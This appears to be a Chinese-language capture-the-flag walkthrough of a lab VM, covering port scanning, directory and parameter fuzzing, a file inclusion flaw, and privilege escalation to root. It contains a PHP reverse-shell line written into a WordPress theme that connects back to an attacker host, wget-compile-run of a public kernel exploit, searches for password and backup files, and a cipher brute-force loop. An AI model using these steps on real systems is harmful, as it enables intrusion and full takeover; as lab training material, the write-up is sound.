nmap -sn 10.10.10.0/24
nmap -p- –min-rate 10000 10.10.10.104
nmap -sT -sV -O -p22,80 10.10.10.104
nmap -sU -p22,80 10.10.10.104
nmap –script=vuln -p22,80 10.10.10.104
访问http://10.10.10.104
dirb http://10.10.10.104 // 目录爆破
发现网站采用的CMS是wordpress
访问dev目录和index目录
可以在尝试下php,txt,zip等的扫描看看有没有其他消息dirb -X .txt,.zip,.php http://10.10.10.104 //扫描10.10.10.104的php文件,zip文件,和txt文件
访问http://10.10.10.104/secret.txt
根据提示可以访问看看他让我们在已知的php页面(即index.php,image.php)上用他提供的工具探测参数,访问看看什么工具
根据提示wfuzz探测页面参数
(i) USE WFUZZ TO ENUMERATE CORRECT PARAMETER FOR A PAGE.
COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt –hc 404 http://website.com/secret.php?FUZZ=something
这里-w指定字典,–hc指定过滤类型为状态码,FUZZ是要探测的位置,-c表示跟踪重定向
这里先不使用过滤看看扫描结果后在对结果过滤
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.104/index.php?FUZZ=something
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.104/image.php?FUZZ=something
这里只展示部分
对探测结果过滤后发现index.php存在file参数
访问http://10.10.10.104/index.php?file=1
根据之前的提示得知file可能是location.txt
访问后得到这是最后的参数,但是没有什么继续的提示了
试了好多方法后,发现是一个文件包含漏洞
可以看看是否可以远程文件包含
直接在笔记目录下建立http服务,访问看到不可以远程文件包含放弃远程写一句话木马
继续上述saket用户的提示中密码在/home/saket目录下
接下来这条路以及走到头了,根据之前目录爆破知道该文件系统是wordpress
浏览以下看到用户只有victor,尝试登录后台
wordpress的漏洞利用通常是1.通过修改主题的php写入一句话木马2.上传可以获取shell的插件
随便上传一个zip文件测试后台无法上传插件,选择在主题php文件中写入一句话反弹shell<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.101/443 0>&1'")
通过搜索知道wordpress的主题页面在http://ip/wordpress/wp-content/themes/主题名/php文件
nc建立监听后访问http://10.10.10.104/wordpress/wp-content/themes/twentynineteen/secret.php
信息搜集发现这是一个低权限用户,而且通过uname -a得出内核版本过低,猜测可能存在内核提权漏洞,通过sudo -l看到该用户可以以root权限执行/home/saket/enc,可能可以利用enc提权
思路一:
searchsploit Linux ubuntu 4.10.0-28
根据描述第二个是一个本地提权利用的EXP
searchsploit Linux ubuntu 4.10.0-28 -m 45010下载EXP
cat 45010.c看看EXP如何使用,这里写了使用方法,和测试过的版本,只需编译后执行就可以提权了
cd /tmp // 移至临时目录下,这个目录一般都具有可以写权限,而且可以对文件加执行权限
sudo php -S 0:80 // 部署http服务
在目标机中wget http://10.10.10.101/45010.c获取EXP
gcc 45010.c -o 45010 // 编译EXP
chmod +x 45010 // 添加执行权限
./45010 // 执行EXP拿到root用户
python -c “import pty;pty.spawn(‘/bin/bash’)” // 获得交互性很好的shell
访问/root目录获取flag
思路二:
执行enc要输入一个密码,输入follow_the_ippsec发现没什么反应,想到查找备份文件是否有信息泄露或者可能存储在passwd或password的文件文件中
查找:find / -name "*backup*" 2> /dev/null | sort
//查找并排序 根据情况可以查找 “*back*”find / -name "*pass*" 2> /dev/null | sort
//查找并排序 根据情况可以查找 “*passw*” 或 “*passw*d”查找过程中根据实际情况合理使用正则
根据查找结果合理筛选掉help的文件,icons的文件,以及一些系统文件等最后筛选出
/var/backups
/var/backups/passwd.bak
/opt/backup
/opt/backup
/opt/backup/server_database/backup_pass
查看每个最终筛选出的可能文件,最后得出在/opt/backup/server_database/backup_pass中存在需要的密码
输入密码后发现权限不够,sudo试试毕竟在sudo -l中可以以root身份执行enc而且不需要root密码
查看得到的两个文件
这里可以看到第一个字符串是一个base64编码的字符串
解码后看到是乱码
根据key猜测是通过密钥加密而且他说我们把ippsec通过MD5hash后可以得到密钥,用密钥对密文以某一种加密算法解密,索性就采用暴力点的,用密钥和密文遍历所有加密算法,如果得到的解密结果有意义就说明试对了加密算法。
遍历的前提有如下几个要素:
1.遍历脚本
2.用什么软件解密
3.用什么加密算法解密
4.密文密钥还需要其他特殊的处理吗
2.解密用 openssl enc 解密(这也是根据前面enc.txt和key.txt想到密文解密的一个原因)
3.构造所以的机密算法列表
openssl –help
复制到cypherType.txt文件中这里需要把空格替换成换行符,使每一种加密算法站一行,并去掉多余的换行符,便于后面的脚本编写cat cypherType.txt|awk '{gsub(" ", "\n"); print}'|sort
// 这段脚本的意思是打印文件,并且把打印结果交给awk处理,awk的处理方式是将” “替换成”\n”并打印,在把打印结果交给sort指令处理,处理方式是排序,排序过后所有的空行都会在一起,这样就构造好了加密算法列表。
4.1密文处理:
这里密文是base64编码过后的结果,可以用openssl -a或者(–base)参数可以解密
4.2密钥处理:
根据提示需要对ippsec进行MD5
openssl接收的-K的值又需要十六进制的raw值
echo -n “ippsec”|md5sum // 获取md5哈希值
在用如下python脚本获取hash值的十六进制的raw格式字符串
1.构造脚本:
这里用一个for循环遍历构造好的算法名称列表,每个循环中把密文交给openssl enc做解密,-d是解密的意思,-a是对密文做base64解密,-K指定raw格式的密钥 ,2> /dev/null把报错的部分错误丢掉
for cypher in $(cat ./CypherType.txt );do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -$cypher -k "3336366137346362336339353964653137643631646233303539316333396431" 2>/dev/null;echo $cypher;done
得到一个密码”tribute_to_ippsec”,用来尝试saket账号ssh的登录
sudo -l查看特权
发现可以以root身份免密码执行/home/victor/undefeated_victor
之后根据提示即可得到root用户
拿到flag